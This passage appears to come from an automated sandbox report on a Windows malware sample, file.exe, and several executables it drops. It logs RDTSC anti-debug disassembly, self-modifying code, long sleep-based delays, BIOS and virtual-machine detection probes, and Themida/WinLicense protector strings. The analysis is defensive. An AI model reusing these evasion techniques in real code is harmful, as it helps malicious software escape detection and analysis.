Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5430A7F second address: 5430AF1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40B4517B1Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ecx, esi 0x0000000d pushad 0x0000000e mov dx, ax 0x00000011 pushfd 0x00000012 jmp 00007F40B4517B20h 0x00000017 adc si, 4BE8h 0x0000001c jmp 00007F40B4517B1Bh 0x00000021 popfd 0x00000022 popad 0x00000023 je 00007F412600D400h 0x00000029 pushad 0x0000002a mov al, D2h 0x0000002c mov edx, 62FF74C4h 0x00000031 popad 0x00000032 test byte ptr [76FB6968h], 00000002h 0x00000039 pushad 0x0000003a mov al, bh 0x0000003c mov di, cx 0x0000003f popad 0x00000040 jne 00007F412600D3F6h 0x00000046 jmp 00007F40B4517B1Ch 0x0000004b mov edx, dword ptr [ebp+0Ch] 0x0000004e push eax 0x0000004f push edx 0x00000050 push eax 0x00000051 push edx 0x00000052 pushad 0x00000053 popad 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5430AF1 second address: 5430AF5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5430AF5 second address: 5430AFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5430AFB second address: 5430B22 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40B53604D4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F40B53604CAh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5430B22 second address: 5430B31 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40B4517B1Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5430B31 second address: 5430B5D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40B53604D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F40B53604CCh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5430B5D second address: 5430B6F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F40B4517B1Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5430B6F second address: 5430B73 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5430B73 second address: 5430B9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c call 00007F40B4517B28h 0x00000011 pop eax 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5430B9B second address: 5430BB0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, 8DC3h 0x00000007 push eax 0x00000008 pop edx 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 mov ecx, edx 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5430BB0 second address: 5430BB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5430BB6 second address: 5430BBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5430BBA second address: 5430C33 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40B4517B20h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F40B4517B21h 0x00000013 adc eax, 648B53A6h 0x00000019 jmp 00007F40B4517B21h 0x0000001e popfd 0x0000001f mov bh, ah 0x00000021 popad 0x00000022 xchg eax, ebx 0x00000023 pushad 0x00000024 push eax 0x00000025 push edx 0x00000026 pushfd 0x00000027 jmp 00007F40B4517B1Fh 0x0000002c adc ecx, 538546DEh 0x00000032 jmp 00007F40B4517B29h 0x00000037 popfd 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5430C96 second address: 5430C9C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5430C9C second address: 5430CA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5430CA0 second address: 5430CCD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebx 0x00000009 jmp 00007F40B53604D9h 0x0000000e mov esp, ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 mov ecx, 355D6B35h 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5430CCD second address: 5430CDF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F40B4517B1Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5440DE8 second address: 5440E4D instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F40B53604CCh 0x00000008 or esi, 54BC7AD8h 0x0000000e jmp 00007F40B53604CBh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 popad 0x00000017 xchg eax, ebp 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b mov edi, 364343C6h 0x00000020 pushfd 0x00000021 jmp 00007F40B53604D7h 0x00000026 sub ax, 124Eh 0x0000002b jmp 00007F40B53604D9h 0x00000030 popfd 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5440E4D second address: 5440E5D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F40B4517B1Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5440E5D second address: 5440EAE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40B53604CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d jmp 00007F40B53604D6h 0x00000012 pop ebp 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007F40B53604CEh 0x0000001a adc ecx, 381FC458h 0x00000020 jmp 00007F40B53604CBh 0x00000025 popfd 0x00000026 push eax 0x00000027 push edx 0x00000028 movzx esi, di 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5440B49 second address: 5440B58 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40B4517B1Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5440B58 second address: 5440B5E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5440B5E second address: 5440B62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5440B62 second address: 5440B66 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5440B66 second address: 5440B84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F40B4517B23h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5440B84 second address: 5440BA4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, edi 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F40B53604D3h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5440BA4 second address: 5440BEB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40B4517B29h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007F40B4517B1Eh 0x00000010 pop ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F40B4517B27h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5440BEB second address: 5440BF1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5440BF1 second address: 5440BF5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C06B3 second address: 54C06B9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C06B9 second address: 54C06BE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C06BE second address: 54C0713 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F40B53604D2h 0x0000000a adc eax, 6C399A68h 0x00000010 jmp 00007F40B53604CBh 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push eax 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d pushfd 0x0000001e jmp 00007F40B53604D2h 0x00000023 and ch, FFFFFFC8h 0x00000026 jmp 00007F40B53604CBh 0x0000002b popfd 0x0000002c push esi 0x0000002d pop edi 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54B0A61 second address: 54B0A88 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40B4517B1Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F40B4517B25h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54B0A88 second address: 54B0AED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cl, bh 0x00000005 pushfd 0x00000006 jmp 00007F40B53604D8h 0x0000000b add al, FFFFFFB8h 0x0000000e jmp 00007F40B53604CBh 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 mov ebp, esp 0x00000019 pushad 0x0000001a jmp 00007F40B53604D4h 0x0000001f mov ah, A6h 0x00000021 popad 0x00000022 pop ebp 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007F40B53604D8h 0x0000002a rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: C6EA71 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: EAEDA4 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 79EA71 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 9DEDA4 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Special instruction interceptor: First address: 41CA9A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Special instruction interceptor: First address: 41CB44 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Special instruction interceptor: First address: 5BD493 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Special instruction interceptor: First address: 5BB9CE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Special instruction interceptor: First address: 41CAA3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008507001\3c882da37a.exe	Special instruction interceptor: First address: C3FC3D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008507001\3c882da37a.exe	Special instruction interceptor: First address: C3FD12 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008507001\3c882da37a.exe	Special instruction interceptor: First address: DDD503 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008507001\3c882da37a.exe	Special instruction interceptor: First address: DDBAA6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008507001\3c882da37a.exe	Special instruction interceptor: First address: E05B49 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008507001\3c882da37a.exe	Special instruction interceptor: First address: DE4D6B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Special instruction interceptor: First address: A9DEFE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Special instruction interceptor: First address: C524FC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Special instruction interceptor: First address: CD98A5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Special instruction interceptor: First address: 5ECDEFE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Special instruction interceptor: First address: 60824FC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Special instruction interceptor: First address: 61098A5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Special instruction interceptor: First address: 607DEFE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Special instruction interceptor: First address: 62324FC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Special instruction interceptor: First address: 62B98A5 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Memory allocated: 4A30000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Memory allocated: 4E10000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Memory allocated: 4CB0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Memory allocated: 53B0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Memory allocated: 5780000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Memory allocated: 5530000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_054B0C66 rdtsc

0_2_054B0C66

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1117	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1124	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1037	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1107	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7888	Thread sleep count: 42 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7888	Thread sleep time: -84042s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7860	Thread sleep count: 1000 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7860	Thread sleep time: -2001000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7844	Thread sleep count: 335 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7844	Thread sleep time: -10050000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7876	Thread sleep count: 1117 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7876	Thread sleep time: -2235117s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7884	Thread sleep count: 1124 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7884	Thread sleep time: -2249124s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7960	Thread sleep time: -360000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7880	Thread sleep count: 1037 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7880	Thread sleep time: -2075037s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7868	Thread sleep count: 1107 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7868	Thread sleep time: -2215107s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7864	Thread sleep count: 258 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7864	Thread sleep time: -516258s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe TID: 8048	Thread sleep time: -42021s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe TID: 8056	Thread sleep time: -34017s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe TID: 8156	Thread sleep time: -240000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe TID: 8044	Thread sleep time: -38019s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe TID: 8072	Thread sleep time: -44022s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe TID: 8068	Thread sleep time: -42021s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe TID: 7304	Thread sleep time: -34017s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe TID: 7312	Thread sleep time: -34017s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe TID: 2992	Thread sleep time: -210000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe TID: 7296	Thread sleep time: -30015s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe TID: 7316	Thread sleep time: -30015s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe TID: 4908	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe TID: 2908	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\file.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Thread delayed: delay time: 922337203685477

Source: skotes.exe, skotes.exe, 00000006.00000002.3036308836.0000000000932000.00000040.00000001.01000000.00000008.sdmp, 1026aa8304.exe, 00000007.00000002.2909016252.000000000059B000.00000040.00000001.01000000.0000000A.sdmp, 1026aa8304.exe, 00000007.00000002.2944471013.0000000006058000.00000040.00000800.00020000.00000000.sdmp, 3c882da37a.exe, 3c882da37a.exe, 00000009.00000002.2594049400.0000000000DBC000.00000040.00000001.01000000.0000000B.sdmp, 3c882da37a.exe, 0000001B.00000002.2773846262.0000000000DBC000.00000040.00000001.01000000.0000000B.sdmp, 822dda4848.exe, 0000001D.00000002.2835747049.0000000000C28000.00000040.00000001.01000000.00000014.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: 1026aa8304.exe, 00000007.00000003.2817273993.0000000000DAF000.00000004.00000020.00020000.00000000.sdmp, 1026aa8304.exe, 00000007.00000003.2597505762.0000000000DA1000.00000004.00000020.00020000.00000000.sdmp, 1026aa8304.exe, 00000007.00000002.2921600485.0000000000DAF000.00000004.00000020.00020000.00000000.sdmp, 1026aa8304.exe, 00000007.00000003.2696967693.0000000000DA1000.00000004.00000020.00020000.00000000.sdmp, 1026aa8304.exe, 00000007.00000003.2592579829.0000000000DA1000.00000004.00000020.00020000.00000000.sdmp, 1026aa8304.exe, 00000007.00000003.2570772415.0000000000DAF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWW
Source: firefox.exe, 0000001A.00000002.2745133881.000002D519F00000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll\|(
Source: firefox.exe, 0000002A.00000002.2940062522.000001FA694FE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllq
Source: firefox.exe, 0000001A.00000002.2745133881.000002D519F00000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllT#
Source: skotes.exe, 00000006.00000002.3040117315.0000000000E68000.00000004.00000020.00020000.00000000.sdmp, 1026aa8304.exe, 1026aa8304.exe, 00000007.00000003.2817273993.0000000000DAF000.00000004.00000020.00020000.00000000.sdmp, 1026aa8304.exe, 00000007.00000003.2597505762.0000000000DA1000.00000004.00000020.00020000.00000000.sdmp, 1026aa8304.exe, 00000007.00000002.2921600485.0000000000DAF000.00000004.00000020.00020000.00000000.sdmp, 1026aa8304.exe, 00000007.00000003.2696967693.0000000000DA1000.00000004.00000020.00020000.00000000.sdmp, 1026aa8304.exe, 00000007.00000003.2592579829.0000000000DA1000.00000004.00000020.00020000.00000000.sdmp, 1026aa8304.exe, 00000007.00000002.2921600485.0000000000D6A000.00000004.00000020.00020000.00000000.sdmp, 1026aa8304.exe, 00000007.00000003.2570772415.0000000000DAF000.00000004.00000020.00020000.00000000.sdmp, 3c882da37a.exe, 00000009.00000002.2593021915.0000000000893000.00000004.00000020.00020000.00000000.sdmp, 3c882da37a.exe, 00000009.00000002.2593021915.0000000000864000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 3c882da37a.exe, 0000001B.00000002.2775509635.0000000001309000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: firefox.exe, 0000001A.00000002.2741715353.000002D519E15000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW : 2 : 34 : 1 : 1 : 0x20026 : 0x8 : %SystemRoot%\system32\mswsock.dll : : 1234191b-4bf7-4ca7-86e0-dfd7c32b5445
Source: 1026aa8304.exe, 00000007.00000002.2921600485.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}Z
Source: firefox.exe, 0000002A.00000002.2940062522.000001FA694FE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll^
Source: file.exe, 00000000.00000002.1726163140.0000000000E02000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000001.00000002.1744708084.0000000000932000.00000040.00000001.01000000.00000008.sdmp, skotes.exe, 00000002.00000002.1754829009.0000000000932000.00000040.00000001.01000000.00000008.sdmp, skotes.exe, 00000006.00000002.3036308836.0000000000932000.00000040.00000001.01000000.00000008.sdmp, 1026aa8304.exe, 00000007.00000002.2909016252.000000000059B000.00000040.00000001.01000000.0000000A.sdmp, 1026aa8304.exe, 00000007.00000002.2944471013.0000000006058000.00000040.00000800.00020000.00000000.sdmp, 3c882da37a.exe, 00000009.00000002.2594049400.0000000000DBC000.00000040.00000001.01000000.0000000B.sdmp, 3c882da37a.exe, 0000001B.00000002.2773846262.0000000000DBC000.00000040.00000001.01000000.0000000B.sdmp, 822dda4848.exe, 0000001D.00000002.2835747049.0000000000C28000.00000040.00000001.01000000.00000014.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control 